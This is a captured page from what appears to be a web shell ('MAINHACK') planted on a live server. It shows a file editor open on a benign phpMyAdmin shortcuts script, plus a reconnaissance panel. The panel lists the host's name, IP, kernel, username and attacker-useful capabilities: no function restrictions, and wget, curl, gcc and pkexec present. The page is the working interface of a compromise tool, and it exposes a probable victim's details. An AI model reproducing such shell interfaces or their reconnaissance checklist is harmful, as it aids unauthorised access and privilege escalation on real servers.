[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: shortcuts_handler.js
/** * @fileoverview Handle shortcuts in various pages * @name Shortcuts handler * * @requires jQuery * @requires jQueryUI */ /* global Console */ // js/console.js /** * Register key events on load */ $(function () { var databaseOp = false; var tableOp = false; var keyD = 68; var keyT = 84; var keyK = 75; var keyS = 83; var keyF = 70; var keyE = 69; var keyH = 72; var keyC = 67; var keyBackSpace = 8; $(document).on('keyup', function (e) { // is a string but is also a boolean according to https://api.jquery.com/prop/ if ($(e.target).prop('contenteditable') === 'true' || $(e.target).prop('contenteditable') === true) { return; } if (e.target.nodeName === 'INPUT' || e.target.nodeName === 'TEXTAREA' || e.target.nodeName === 'SELECT') { return; } if (e.keyCode === keyD) { setTimeout(function () { databaseOp = false; }, 2000); } else if (e.keyCode === keyT) { setTimeout(function () { tableOp = false; }, 2000); } }); $(document).on('keydown', function (e) { // is a string but is also a boolean according to https://api.jquery.com/prop/ if ($(e.target).prop('contenteditable') === 'true' || $(e.target).prop('contenteditable') === true) { return; } // disable the shortcuts when session has timed out. if ($('#modalOverlay').length > 0) { return; } if (e.ctrlKey && e.altKey && e.keyCode === keyC) { Console.toggle(); } if (e.ctrlKey && e.keyCode === keyK) { e.preventDefault(); Console.toggle(); } if (e.target.nodeName === 'INPUT' || e.target.nodeName === 'TEXTAREA' || e.target.nodeName === 'SELECT') { return; } var isTable; var isDb; if (e.keyCode === keyD) { databaseOp = true; } else if (e.keyCode === keyK) { e.preventDefault(); Console.toggle(); } else if (e.keyCode === keyS) { if (databaseOp === true) { isTable = CommonParams.get('table'); isDb = CommonParams.get('db'); if (isDb && !isTable) { $('.nav-link .ic_b_props').first().trigger('click'); } } else if (tableOp === true) { isTable = CommonParams.get('table'); isDb = CommonParams.get('db'); if (isDb && isTable) { $('.nav-link .ic_b_props').first().trigger('click'); } } else { $('#pma_navigation_settings_icon').trigger('click'); } } else if (e.keyCode === keyF) { if (databaseOp === true) { isTable = CommonParams.get('table'); isDb = CommonParams.get('db'); if (isDb && !isTable) { $('.nav-link .ic_b_search').first().trigger('click'); } } else if (tableOp === true) { isTable = CommonParams.get('table'); isDb = CommonParams.get('db'); if (isDb && isTable) { $('.nav-link .ic_b_search').first().trigger('click'); } } } else if (e.keyCode === keyT) { tableOp = true; } else if (e.keyCode === keyE) { $('.ic_b_export').first().trigger('click'); } else if (e.keyCode === keyBackSpace) { window.history.back(); } else if (e.keyCode === keyH) { $('.ic_b_home').first().trigger('click'); } }); });
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.9 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002